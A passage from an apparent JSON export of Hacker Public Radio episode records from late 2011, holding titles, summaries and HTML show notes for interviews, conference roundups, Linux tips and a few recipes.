    \nYancy: Not much left. Athens took off with all of my stuff.\n

    \n

    \nBroam: All right. Thanks a lot, Yancy. I appreciate your time.\n

    \n ","hostid":143,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"SELF,\"Carolina Free PC Foundation\",\"Upstate Carolina Linux User Group\"","version":0,"downloads":2144,"valid":1}, {"id":809,"date":"2011-09-07","title":"talk geek to me","duration":754,"summary":"DeepGeek explains Segmented Downloading","notes":"

    In todays syndicated Thursday DeepGeek allows us to play TGTM #28 - Segmented Downloading aired on 2011-09-05

    \n

    \n “Segmented downloading” is a way of getting your file by getting pieces of your file from different webservers, which mirror each other with identical content. If “bittorrent” comes to mind, then you’re following me. It is essentially using full-fledged webservers as if they were bittorrent seeds. But in order to understand why you would want to do this, you need to understand some things about old-school downloads and some things about bittorrent, before you can understand the “why,” then the “how,” of segmented downloading\n

    \n

    \nFor Complete shownotes see https://www.talkgeektome.us/tgtm-28-segmented-downloading.html\n

    ","hostid":73,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"\"Segmented Downloading\"","version":0,"downloads":1996,"valid":1}, {"id":810,"date":"2011-09-08","title":"Hello HPR!","duration":627,"summary":"An introduction from a new host","notes":"Joe introduces himself and takes the podcasting (and the automobile) for a spin. (Note: podcast 'n drive responsibly!)","hostid":189,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Knoppix,Slackware,Fedora,Debian,Ubuntu,\"Arch Linux\"","version":0,"downloads":2115,"valid":1}, {"id":811,"date":"2011-09-11","title":"creative commons torrent tracker","duration":2790,"summary":"Plans to create a Drupal CMS with a Creative Commons torrent tracker","notes":"

    Klaatu and Thistleweb talk about the creative commons torrent tracker project Thistleweb and Cobra2 have embarked upon.

    \n

    \n\nhttps://unseenstudio.co.uk/tracker

    \n

    Editor's Note 2019-03-11: the unseenstudio.co.uk domain has now lapsed. The link above takes you to the Wayback Machine's copy from 2012.

    \n","hostid":106,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"torrent,\"torrent seeder\",\"creative commons\",Drupal,EFF,GNU","version":0,"downloads":2261,"valid":1}, {"id":812,"date":"2011-09-12","title":"Are they a patent troll","duration":1224,"summary":"Useful tips on how to determine if someone is a patent troll or not","notes":"Mr. Gadgets gives us useful tips on how to determine if one is a patent troll or not. ","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"patent,\"patent troll\"","version":0,"downloads":2093,"valid":1}, {"id":813,"date":"2011-09-13","title":"Gemma Cameron aka @ruby_gem about Barcamp Blackpool","duration":1098,"summary":"Ken talks to Gemma Cameron aka @ruby_gem about Barcamp Blackpool","notes":"

    \nIn todays show Ken talks to Gemma Cameron aka @ruby_gem about Barcamp Blackpool\n

    \n\n

    Barcamp Blackpool is a free ‘unconference’ with no scheduled speakers. Attendees arrive on the day armed with talks and decide which ones they want to go along to! The talks can be on anything, from android application development to learning the British Sign Language to Electronic Organs played by BBC Micros! But don’t worry, you don’t have to do a talk to participate! The event is paid for by lovely sponsors. Get in touch if you want to sponsor us!

    \n

    When: Saturday 15th October 2011 Where: Blackpool Pleasure Beach (inside the white Casino Building) Twitter: @bcblackpool Tags: #bcblackpool Google Group: https://groups.google.co.uk/group/bcblackpool

    ","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Barcamp Blackpool\",unconference","version":0,"downloads":1889,"valid":1}, {"id":814,"date":"2011-09-14","title":"The Knightcast KC0054 : Setting up Amahi","duration":3682,"summary":"A visit to the Knightcast podcast","notes":"

    \nIn todays syndicated Thursday originally aired on Friday, 09 September 2011, we have The Knightcast KC0054 : Setting up Amahi.\n

    \nThis week we do a deep-geek-dive into setting up Amahi, a powerful server for the home with the ease of use of a smartphone. Web based interfaces, point-and-click addition of applications, tons of Geeky functionality : Its all there in Amahi. With a spot of music from Planet Boelex and a recording made 'on the road' its another \"Knightcast\".

    \n

    \n\nhttps://www.knightwise.com/knightcast-podcast/854-the-knightcast-kc0054-setting-up-amahi\n

    \n","hostid":111,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Amahi","version":0,"downloads":2089,"valid":1}, {"id":815,"date":"2011-09-15","title":"Software Freedom Day Dundee 2011","duration":683,"summary":"An event to celebrate and promote the use of free and open source software","notes":"

    Software Freedom Day Dundee 2011

    \n

    \nAn event to celebrate and promote the use of free and open source software\n

    \n

    Who Are We

    \n

    \"The Open Society\" and the \"Tayside Linux User Group\" have long been establishing their names within the local Free and Open Source Community, as centres of support and advocacy for people from all walks of life. This September we will be showcasing some of the best that our local community has to offer.

    \n\n

    What is Software Freedom Day

    \n

    Software Freedom Day (SFD) is a worldwide celebration of Free and Open Source Software (FOSS). Our goal in this celebration is to educate the worldwide public about of the benefits of using high quality software in education, in government, at home and in business - in short, everywhere! The non-profit company Software Freedom International coordinates SFD at a global level, providing support, give-aways and a point of collaboration, but volunteer teams around the world organize the local SFD events to impact their own communities.
    visit softwarefreedomday.org \n

    \n
    Scheduled Talks
    \n
    Introduction - 10:00am
    \n
    • What is Free and Open Source Software by Ryan Ward
    \n
    Track 1 in Cinema room
    \n
      \n
    • On Expectations, Requirements and Survival when Starting with Linux by Markus Tauber
    • \n
    • What is Android by Kris Findlay
    • \n
    \n
    Track 2 in Gallery Area
    \n\n
      \n
    • Packets, Freedom, Networks and Neutrality by Rorie Hood
    • \n
    • Wine and Gaming: A Novice's Guide by Gavin Ewan
    • \n
    \n
    Lunch - 1.00pm
    \n
    • Free Software for Indie Games Development by Hazel McKendrick
    \n
    Track 1 in Cinema room
    \n
      \n
    • Open Source and Broadcasting by Kenny Coyle
    • \n
    • Introduction to PKI by Robert Ladyman
    • \n\n
    • UPnP by Arron Finnon
    • \n
    \n
    Track 2 in Gallery Area
    \n
      \n
    • Blender by Garry Whitton
    • \n
    • Geo-Caching by Scott Cowie
    • \n
    \n
    With the event drawing to a close at 5:00pm which will traditionally follow with a few beers and more geeky chat down the pub.\n

    \n

    \n

  • https://the-os.org.uk
  • \n
  • https://dundeelug.org.uk/index.php/TayLUG_Home
  • \n
  • https://softwarefreedomday.org/en/sfd/software-freedom
  • \n
  • https://en.wikipedia.org/wiki/OpenCD
  • \n\n

    \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Tayside Linux User Group\",Dundee","version":0,"downloads":2100,"valid":1}, {"id":816,"date":"2011-09-18","title":"Modern Survivalism part 1 ","duration":1733,"summary":"Modern Survivalism - part 1 of 2","notes":"

    In today's show we start a new series on Modern Survivalism where you do everything you can to make your life better now by lessening dependency, trying to live debt free and learning basic skills.\n

    \n

    \nToday's recipes are:\n

    \n

    Simple whole wheat honey desserts

    \n
      \n
    • ¼ cup milled whole wheat per tortilla
    • \n
    • pinch salt
    • \n
    • pinch sugar
    • \n
    • water very little
    • \n
    • butter
    • \n
    • honey
    • \n
    \n

    \nMix flour, water, salt, sugar & let sit for 5-10 minutes, roll out with dowel or rolling pin & cook over stove - no butter or Pam in pan. Put a little butter on the tortilla right after it comes off the heat & put honey on it & cut with a pizza cutter & serve.\n

    \n\n\n

    Quick beans - dried to eating in 65 minutes.

    \n
      \n
    • 7 Cups water
    • \n
    • 5 beef bouillion cubes
    • \n
    • 1 pound dried pinto beans
    • \n
    • ¼ cup dried onions
    • \n
    • thyme sprigs
    • \n
    • 1-2 cups meat - use frozen ham.
    • \n
    \n

    \nAdd everything to a pressure cooker & bring it to pressure (10-15 lbs) & keep it at pressure for 60 minutes - serve over rice or potatoes.\n

    \n","hostid":190,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"recipe","version":0,"downloads":2329,"valid":1}, {"id":817,"date":"2011-09-19","title":"Installing Linux and Windows 7 to a USB Hard Drive","duration":319,"summary":"Script to install Windows to an external USB hard drive","notes":"

    \nScript to install Windows to USB described in forum post here: \nhttps://reboot.pro/10126/\n

    \n\n","hostid":191,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"USB hard disk\",\"Windows 7\",swapfile,pagefile","version":0,"downloads":2124,"valid":1}, {"id":818,"date":"2011-09-20","title":"Sansa Clip Plus for podcasting","duration":1622,"summary":"Using a Sansa player as a podcast recorder","notes":"

    \nLong story short is that the Clip+ is pretty great as a cheap all-in-one recording device. I go into a little more detail here, and I have an idea that may make it even better.\n

    \n

    \nSince recording this, I have discovered how to change the recording directory. \n

    \n\n
      \n
    1. Press the Home button to get to the main menu.\n
    2. Go to the \"Files\" option in the main menu, and navigate to the directory (even if it's on the SD card) that you want to use for recording. Highlight it, but don't open it.\n
    3. Hold down the center button to open a context menu. \n
    4. Scroll down and select \"Set As Recording Directory\".\n
    \n

    \nIf you have comments, please leave them in the comments section for the show here at https://hackerpublicradio.org\n

    ","hostid":128,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Sansa Clip+\",recording,RockBox","version":0,"downloads":2182,"valid":1}, {"id":819,"date":"2011-09-21","title":"Editing Part Five Post and Packing","duration":496,"summary":"The process of editing the Full Circle podcast audio, part 5","notes":"

    Today's show is part of the Syndicated Thursday series

    \n

    Hello world and welcome to our on Hacker Public Radio. This is Part Five in our series on producing the podcast. We've prepped, recorded, edited and assembled, now it's time to release the show onto an unsuspecting world. All the hard work done? Not quite...

    \n

    Runtime: 8mins 14seconds

    \n

    Your Host:

    \n\n

    Additional audio by Victoria Pritchard

    \n

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

    ","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast","version":0,"downloads":1976,"valid":1}, {"id":820,"date":"2011-09-22","title":"Setting up a web server and a mySQL server","duration":1313,"summary":"Part 9 - configuring a web server and a MySQL server","notes":"

    Klaatu continues his Networking Basics series with an overview on setting up and configuring a web server and a mySQL server.

    \n\n

    Get the ogg vorbis version from the Gnu World Order.

    ","hostid":78,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"DHCP,DNS,\"web server\",\"MySQL server\",apache,nginx,lighttpd,\"virtual host\"","version":0,"downloads":2169,"valid":1}, {"id":821,"date":"2011-09-25","title":"Why Android tablets suck !","duration":2887,"summary":"Mr. Gadgets discusses his experiences with various Android tablets","notes":"In today's show Mr. Gadget discusses his history with Android tablets.","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"resistive screen\",\"Android apps\",\"Google marketplace\",\"Amazon marketplace\"","version":0,"downloads":2266,"valid":1}, {"id":822,"date":"2011-09-26","title":"Vivean Parkhouse about the GiffGaff Community Phone project","duration":247,"summary":"The GiffGaff Community Phone project","notes":"

    \nKen interviews Vivean Parkhouse about the GiffGaff Community Phone project in the UK while at OggCamp11\n

    \n

    \nhttps://giffgaff.com/
    \nhttps://en.wikipedia.org/wiki/Giffgaff
    \n

    ","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"giffgaff,\"community phone project\"","version":0,"downloads":1988,"valid":1}, {"id":823,"date":"2011-09-27","title":"Klaatu talks to Trevor, a programmer for Phonon's Gstreamer backend","duration":507,"summary":"Phonon's Gstreamer backend","notes":"

    At the Ohio Linux Fest, Klaatu talks to Trevor, a programmer for Phonon's Gstreamer backend.

    ","hostid":78,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"KDE,Phonon,Gstreamer,Amarok,\"Dragon Player\"","version":0,"downloads":2026,"valid":1}, {"id":824,"date":"2011-09-28","title":"Opentech Conference 2011: Paula Graham, FOSSBox","duration":961,"summary":"Fossbox at OpenTech 2011","notes":"

    Hello world and welcome to our show on Hacker Public Radio. This episode is our interview with Paula Graham of Fossbox by my co-host is Les Pounder, following the Opentech Conference in London

    \n

    OpenTech 2011

    \n

    Saturday 21st May 2011,Union Building, University of London.

    \n\n

    17:44 | Interview: Paula Graham of Fossbox

    \n

    Fossbox is a non-profit organisation supporting digital inclusion and helping other non-profits move towards lower-cost ICT systems with more flexibility and lower environmental impact.

    \n\n

    OpenTech 2011 is an informal, low cost, one-day conference on slightly different approaches to technology, transport and democracy. Talks by people who work on things that matter, guarantees a day of thoughtful talks leading to conversations with friends.

    \n\n

    Your Hosts:

    \n\n\n

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Additional audio by Victoria Pritchard

    \n\n

    Runtime: 15mins 59seconds

    ","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast","version":0,"downloads":1986,"valid":1}, {"id":825,"date":"2011-09-29","title":"Jamey Sharp Interview at X.Org Developer Conference (XDC) 2011","duration":1226,"summary":"Interview with Jamey Sharp at XDC 2011","notes":"

    \nJamey Sharp was placed on Ritalin, briefly, in fifth grade. His interests and activities have been varied ever since. Today his day job involves a computer test for attention deficit disorder, but his biggest projects have been the Portland State Aerospace Society, a student rocketry club at Portland State University; XCB, a new low-level binding to the X protocol, in the process of replacing Xlib; and Serialist, because his other projects didn’t leave him enough time to read his favorite webcomics without tool support.
    \nJamey’s interests span computer science fields including cryptography, combinatorial search, compilers, and computational complexity; systems-level programming, such as file format and network protocol implementations, Linux kernel development, and boot-loader hacking; computer architecture and its impact on software design; and functional programming, preferably in Haskell.
    \nThis interview focuses on Jamey's work on X.org, specifically the XCB project. The X protocol C-language Binding (XCB) is a replacement for Xlib featuring a small footprint, latency hiding, direct access to the protocol, improved threading support, and extensibility.
    \n
    \nXCB project site - https://xcb.freedesktop.org/
    \nXCB mailing list - https://lists.freedesktop.org/mailman/listinfo/xcb
    \nXCB irc - irc.freenode.net #xcb
    \nhttps://opensourcebridge.org/users/432
    \nhttps://www.ohloh.net/accounts/jamey
    \nhttps://www.tovatest.com/
    \nhttps://psas.pdx.edu/
    \nhttps://xcb.freedesktop.org/
    \nhttps://serialist.net/
    \n

    ","hostid":156,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"\"X.Org Developer Conference\",XDC,XCB","version":0,"downloads":2011,"valid":1}, {"id":826,"date":"2011-10-02","title":"HPR Community News for Sep 2011","duration":1617,"summary":"HPR Community News for Sep 2011","notes":"

    New hosts

    \n

    \nWelcome to our new hosts: \nAukonDK, \nTracy Holz (Holzster), and\nJoe Wakumara\n

    \n\n

    Show Review

    \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    id\nhost\ntitle\n
    806HPR AdminsHPR news for Aug 2011
    807klaatuMaraDNS
    808BroamInterview with Yancy Smith
    809deepgeektalk geek to me
    810Joe WakumaraHello HPR!
    811Thistlewebcreative commons torrent tracker
    812MrGadgetsAre they a patent trool
    813Ken FallonGemma Cameron aka @ruby_gem about Barcamp Blackpool
    814KnightwiseThe Knightcast KC0054 : Setting up Amahi
    815Ken FallonSoftware Freedom Day Dundee 2011
    816Tracy Holz (Holzster)Modern Survivalism part 1
    817AukonDKInstalling Linux and Windows 7 to a USB Hard Drive
    818pokeySansa Clip Plus for podcasting
    819Robin CatlingEditing Part Five Post and Packing
    820klaatuSetting up a web server and a mySQL server
    821MrGadgetsWhy Android tablets suck !
    822Ken FallonVivean Parkhouse about the GiffGaff Community Phone project
    823klaatuKlaatu talks to Trevor, a programmer for Phonon's Gstreamer backend
    824Robin CatlingOpentech Conference 2011: Paula Graham, FOSSBox
    825marcozJamey Sharp Interview at X.Org Developer Conference (XDC) 2011
    \n\n

    Apologies To

    \n
      \n
    • Kris Findlay, and Thistleweb for scheduling mixups
    • \n
    \n\n

    Scheduling Shows

    \n
    \nHi Earthlings,\n\nAlong with the scheduling rules\nhttps://hackerpublicradio.org/calendar.php there is the line \"while\navoiding having any one host/series repeated in a week\". The idea was\nto allow for  someone uploading an entire series in one go and us\nhaving to schedule it. That has worked well so that the queue is full\nand that host still gets their series played fairly often, but ...\n\nAfter an event like OggCamp/ILF/OLF/SELF etc we tend to get a load of\nshows at once that are outside the traditional series concept. Some of\nthese have the \"feel of the fest\" and may go stale after a time.\n\nShould we schedule those according to the same rules meaning there\nwould be no more than one a week, or should we open the floodgates and\nhave a few weeks dedicated to post festival interviews ?\n\nDiscuss.\n
    \n\n

    Month in Review

    \n

    \n

      \n
    • DerbyCon : Louisville, Kentucky – September 30th to October 2nd, 2011
    • \n
    • Augmented podcast on HPR
    • \n
    • Outro Contribution Curbuntu, pokey
    • \n
    • HPR Theme Music
    • \n
    • HPR Roundtable at Phreaknic
    • \n
    • Code Cruncher in Amsterdam
    • \n
    \n

    \n\n

    HPR at OLF

    \n

    \n\n

    ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1889,"valid":1}, {"id":827,"date":"2011-10-03","title":"HPR booth and HostGator","duration":716,"summary":"HPR at OLF","notes":"

    Klaatu talks about howto establish an HPR booth at your favourite tech conference, and gives a report about HPR's presence at the Ohio Linux fest this year. Also, an interview with Lance from HostGator.com

    ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"Ohio Linux Fest\",OLF,\"lock picking\",HostGator.com","version":0,"downloads":1910,"valid":1}, {"id":828,"date":"2011-10-04","title":"a+g=-b","duration":2306,"summary":"The demise of physical retail stores","notes":"In this episode Mr Gadgets talks about the demise of physical retail stores and ponders what the effect will be.","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"online store\",\"physical store\",\"book reader\"","version":0,"downloads":2032,"valid":1}, {"id":829,"date":"2011-10-06","title":"Interview with Prof Jocelyn Bell-Burnell","duration":2230,"summary":"Prof Jocelyn Bell-Burnell, discoverer of pulsars, on the Jodcast podcast","notes":"

    \nWelcome to hacker public radio\n

    \n

    \nEach Thursday we play Syndicated creative commons content\n

    \n

    \nTodays show is from the Jodcast podcast and is released under a Creative Commons Attribution-NonCommercial- ShareAlike 2.0 England & Wales License \n

    \n

    \n\"The Jodcast is a volunteer podcast about astronomy set up by astronomers based at the University of Manchester's Jodrell Bank but aims to cover astronomy carried out all over the Earth and beyond.\"\n

    \n

    \nIn todays show, aired in June two thousand and seven they interview Jocelyn Bell-Burnell on the 40th aniversary of her discovery of pulsars.\n

    \n

    \nTodays Syndicated Thursday show was recommended by DelWin \n

    \n

    \nIf you have a recommendation for syndicated thursday then please email it to admin at hacker public radio dot org\n

    \n

    \nenjoy\n

    \n

    \nhttps://www.jodcast.net/\n

    \n

    \nhttps://www.jodcast.net/archive/200706/\n

    \n","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"astronomy,quasar,pulsar,\"radio telescope\",\"neutron star\",\"transient pulsar\"","version":0,"downloads":2156,"valid":1}, {"id":830,"date":"2011-10-06","title":"Peter Hutterer Interview at X.Org Developer Conference (XDC) 2011","duration":1601,"summary":"Interview with Peter Hutterer at XDC 2011","notes":"

    Peter Hutterer works on X.org, specifically the input system, at Red Hat.

    \n\n","hostid":156,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"X.org,xinput,multitouch","version":0,"downloads":2135,"valid":1}, {"id":831,"date":"2011-10-09","title":"Chris from Sourceforge.net","duration":694,"summary":"Klaatu interviews Chris from Sourceforge.net at OLF","notes":"

    Klaatu interviews Chris from Sourceforge.net, at the Ohio Linux Fest.

    ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OLF,Sourceforge,Freshmeat,Slashdot,Geeknet","version":0,"downloads":2031,"valid":1}, {"id":832,"date":"2011-10-10","title":"OggCamp11 Roundup","duration":1899,"summary":"A round-up of OggCamp 11","notes":"

    In today's show Ken gives a round-up of OggCamp 11.

    \n

    We start with a chat with Les Pounder who is crew manager \n
    \nhttps://oggcamp.org/\n

    \n\n\n
    From HPR @ OggCamp11
    \n\n

    Next was a discussion with Stuart Langridge formally of lugradio and now working for Canonical on Ubuntu One
    \nhttps://www.lugradio.org/
    \nhttps://www.canonical.com/
    \nhttps://one.ubuntu.com/\n

    \n\n
    From HPR @ OggCamp11
    \n\n

    Next he meets up with one of our own hosts Robin Catling who runs the Full Circle podcast and HPR series.
    \nhttps://fullcirclemagazine.org/category/podcast/
    \nhttps://hackerpublicradio.org/correspondents/0160.html\n

    \n\n
    From HPR @ OggCamp11
    \n\n

    Next was a chat with the organisers Laura Cowen and Alan Pope. Unfortunately the interview with Laura was of too poor audio quality to recover.
    \nhttps://podcast.ubuntu-uk.org/
    \nhttps://sixgun.org/linuxoutlaws\n

    \n\n
    From HPR @ OggCamp11
    \n\n

    Then it was a quick catchup with Adrian Bradshaw also formally of LugRadio and now working at Red Hat
    \nhttps://about.me/adrianbradshaw
    \nhttps://www.redhat.com/\n

    \n\n

    After a live and very poor recording of the song The Elephant In The Room preformed by Dan Lynch of the Linux Outlaws and Rathole Radio
    \nhttps://danlynch.org/elephant
    \nhttps://ratholeradio.org/\n

    \n\n

    Finally we round it all up by talking to Les again about how it all was organised, how it went and the future
    \nhttps://ucubed.info/
    \nhttps://www.flossie.org/
    \nhttps://www.fossbox.org.uk/
    \nhttps://blackpoolgeekup.wordpress.com/\n

    \n","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp,oggcamp11","version":0,"downloads":1968,"valid":1}, {"id":833,"date":"2011-10-11","title":"Ian Romanick Interview at X.Org Developer Conference (XDC) 2011","duration":1361,"summary":"Interview with Ian Romanick at XDC 2011","notes":"

    Ian Romanick works on Mesa at Intel. Mesa is an open-source implementation of the OpenGL specification - a system for rendering interactive 3D graphics.

    \n\n","hostid":156,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"X.org,Mesa,OpenGL","version":0,"downloads":1992,"valid":1}, {"id":834,"date":"2011-10-12","title":"The Knightcast KC0056 : Best of KWTV Live","duration":6855,"summary":"A visit to the Knightcast podcast","notes":"

    \nThe link to the show is \n\n\nhttps://knightwise.com/the-knightcast-kc0056-best-of-kwtv-live/\n\n

    \nIn this weeks extra long podcast we bring you the excerpts from Septembers KWTV Live episode. Three interesting guests talk in depth about 3 interesting topics that is sure to interest anyone who runs ANY operating system. Larry Bushey from the Going Linux podcast talks about what is wrong with Linux, Bart Busschots  comes to talk to us about OSX Lion and the future of the Apple operating system and Keith Murray brings us his views on the newest Windows 8 Developer preview. We ask skeptical questions and ponder on the future of the computer os in light of the Tablet revolution. All of that and more on this weeks Knightcast.\n

    \n

    \nwww.goinglinux.com

    \n

    www.kdmurray.net

    \n

    www.bartb.ie

    \n

    Next months KWTV Live Schedule 

    \n\n

    The ENTIRE episode of KWTV Live (Video)\n

    \n","hostid":111,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"\"KWTV Live\",\"OSX Lion\",\"Windows 8\"","version":0,"downloads":2089,"valid":1}, {"id":835,"date":"2011-10-13","title":"Amazon sets the world on Fire","duration":1924,"summary":"Speculating about the Amazon Fire tablet","notes":"Mr Gadgets continues his investigation into tablets and wonders what Amazons Fire will bring.","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Kindle Fire\",\"Amazon Fire\",camera","version":0,"downloads":2127,"valid":1}, {"id":836,"date":"2011-10-16","title":"Jeff from No Machine","duration":365,"summary":"Klaatu interviews Jeff from No Machine","notes":"

    Klaatu interviews Jeff from No Machine.

    ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OLF,\"No Machine\",VNC,Citrix,ssh","version":0,"downloads":1990,"valid":1}, {"id":837,"date":"2011-10-18","title":"Juergen Schinker open wireless network","duration":458,"summary":"Ken talks to Juergen Schinker about the OWN Open wireless network","notes":"

    \nIn todays show Ken talks to Juergen Schinker about the OWN Open wireless network at Deptford in London. They run a community network that has cheap routers providing dual wifi networks, one which is private and the other open to your neighbour. They run the Optimized Link State Routing Protocol\n

    \n

    \n\n
    From HPR @ OggCamp11
    \n

    \n

    \n\nhttps://en.wikipedia.org/wiki/Optimized_Link_State_Routing_Protocol
    \n
    https://own.spc.org/drupal/
    \n

    \n

    \n\n
    View Larger Map\n

    ","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp,oggcamp11","version":0,"downloads":2134,"valid":1}, {"id":838,"date":"2011-10-19","title":"Martin Peres @ XDC","duration":2366,"summary":"Interview with Martin Peres at XDC 2011","notes":"Martin Peres works on the nouveau driver for X.org.
    \n
    \nNouveau project site - https://nouveau.freedesktop.org
    \nNouveau mailing list - https://lists.freedesktop.org/mailman/listinfo/nouveau
    \nNouveau irc - irc.freenode.net #nouveau
    \n
    \nThe program that reads information from your Nvidia card that Martin talks about is called nvacounter.
    \nIt can be found at: https://github.com/pathscale/envytools/tree/
    ","hostid":156,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"X.org,\"nVidia card\",\"nouveau driver\",nvacounter,Arduino,arduide","version":0,"downloads":2142,"valid":1}, {"id":839,"date":"2011-10-19","title":"Full Circle Podcast: The Lubuntu Team","duration":1418,"summary":"An interview with the team behind Lubuntu","notes":"

    The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Your Host:

    \n\n\n

    Guests

    \n\n

    Additional audio by Victoria Pritchard

    \n\n

    Runtime: 23mins 36seconds

    \n","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast","version":0,"downloads":1991,"valid":1}, {"id":840,"date":"2011-10-20","title":"Android Shopping","duration":706,"summary":"Some advice about shopping for an Android device","notes":"

    \nIn today's show Cobra 2 gives us the advice never to impulse buy an Android device. Do your research on the hardware, wireless and the software. Start your research on the cyanogenmod wiki. He continues with tips on what to look out for on each device.\n

    \n

    Editor's Note:

    \n

    \nThe original link no longer exists:\nhttps://wiki.cyanogenmod.com/index.php?title=Main_Page
    \n

    \n

    \nTo view the contents from 2011-10-22 use the following Internet Archive link:
    \nhttps://web.archive.org/web/20111022001154/https://wiki.cyanogenmod.com/index.php?title=Main_Page\n

    \n","hostid":126,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"android,cyanogenmod","version":0,"downloads":2063,"valid":1}, {"id":841,"date":"2011-10-23","title":"Jonathan Nadeau","duration":1012,"summary":"Klaatu interviews Jonathan Nadeau","notes":"

    At the Ohio Linux Fest, Klaatu interviews Jonathan Nadeau about the FSF, Trisquel Linux, Linux and accessibility, and how non-programmers can get involved with software projects.

    ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"Free Software Foundation\",FSF,\"Trisquel Linux\",accessibility","version":0,"downloads":3078,"valid":1}, {"id":842,"date":"2011-10-24","title":"DJ from h-online.com","duration":642,"summary":"An interview from OggCamp","notes":"

    \nhttps://hackerpublicradio.org In todays show Ken is at OggCamp and talks to DJ about the online OpenSource and Security news site the H at https://www.h-online.com/
    \nhttps://twitter.com/#!/honline @honline twitter
    \n
    From HPR @ OggCamp11
    \n

    ","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"\"The H\",opensource,security","version":0,"downloads":2035,"valid":1}, {"id":843,"date":"2011-10-25","title":"What holiday tech item","duration":1192,"summary":"Shopping for technical items in November and December","notes":"In todays show Mr. Gadgets starts the run up to the festive season asking what your holiday tech item would be. He encourages you to send in your own suggestion.","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Thanksgiving,\"Black Friday\",microSD","version":0,"downloads":1989,"valid":1}, {"id":844,"date":"2011-10-26","title":"The Flying Handbag","duration":3132,"summary":"An impromptu podcast from Barcamp Blackpool","notes":"

    Each Thursday we play Syndicated creative commons content. In todays show we hear the behind the scenes banter at Barcamp Blackpool 2011. You might remember that we interviewed Gemma Cameron aka @ruby_gem back in episode 813

    \n

    \nThis episode was originally posted on October 15th 2011 by Dan Lynch of Rathole Radio and linuxoutlaws fame.

    \n

    \nThe following are the shownotes posted with the show.\n

    \n\n
    \n\n

    The Flying Handbag

    \n\n

    Hello all, apologies for the lack of Weekly Rewind updates lately. Things have been crazy. I do have a rather special treat for you today instead. A podcast recorded at Barcamp Blackpool on October 15th 2011.

    \n

    Let me fill in a little background detail to this. I was in Blackpool catching up with my fellow podcaster Pete Cannon of Dick Turpin Roadshow fame. Our good friend Les Pounder of Blackpool LUG came over and asked \"are you two up for doing a podcast?\". Of course we were but had no idea what about or what the structure would be. We also didn't book a space on the barcamp schedule board. This was all very last minute. One of the talk areas at the barcamp was named The Flying Handbag after a well known Blackpool gay bar apparently. This caused much hilarity. We saw it was free and planned to record our discussion there. Upon our arrival another bloke was already there waiting to start his talk and he didn't look too impressed by our rag tag bunch.

    \n\n

    So off we wandered in search of another recording location and ended up sat on the stairs by the gents toilets in Blackpool Pleasure Beach Casino. You can hear what followed next. A rambling and fun conversation between 6 opinionated blokes, with some additional comedy value added by the really loud hand dryer noise coming from the toilets.

    \n

    Ladies and gentlemen we present.

    \n

    The Flying Handbag Cast!!!

    \n

    Running time: 50mins (ish)

    \n

    The culprits are:

    \n\n
    Contains swearing and adult humour from the start. You've been warned.
    \n

    This was a one-off thing really and I don't know if there'll ever be more. We all live in different parts of the UK so it might be tricky. Hopefully we'll get together at another event in future and chat some more.

